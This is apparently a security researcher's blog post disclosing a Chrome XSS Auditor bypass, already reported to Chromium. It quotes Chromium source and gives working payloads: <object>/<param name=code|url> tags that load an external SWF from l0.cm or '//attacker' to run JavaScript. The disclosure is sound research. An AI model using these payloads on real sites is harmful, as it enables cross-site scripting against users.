I just found an XSS Auditor bypass by accident when I read Chromium's code for the another reason.
In this short post, I'd like to share this bypass. I confirmed that it works on Chrome Canary 57.
I have already reported here: https://bugs.chromium.org/p/chromium/issues/detail?id=676992
The bypass is:
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>Also it works:
<param name=url value=https://l0.cm/xss.swf>
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
I didn't know that Chrome supports such params until I found it in the HTMLObjectElement.cpp:
if (url.isEmpty() && urlParameter.isEmpty() &&The
(equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());
<param name="src" value="//attacker/xss.swf">
and <param name="movie" value="//attacker/xss.swf">
are blocked by XSS Auditor. But I noticed that code
and url
are not blocked. Using this, we can load Flash and execute the JavaScript. According to the source code's comment, it seems Chrome supports this for compatibility. But at least I confirmed it does not work on IE/Edge and Firefox. I think Chrome can remove this support :)That's it. I wrote about XSS Auditor bypass using
<param>
. Thanks for reading!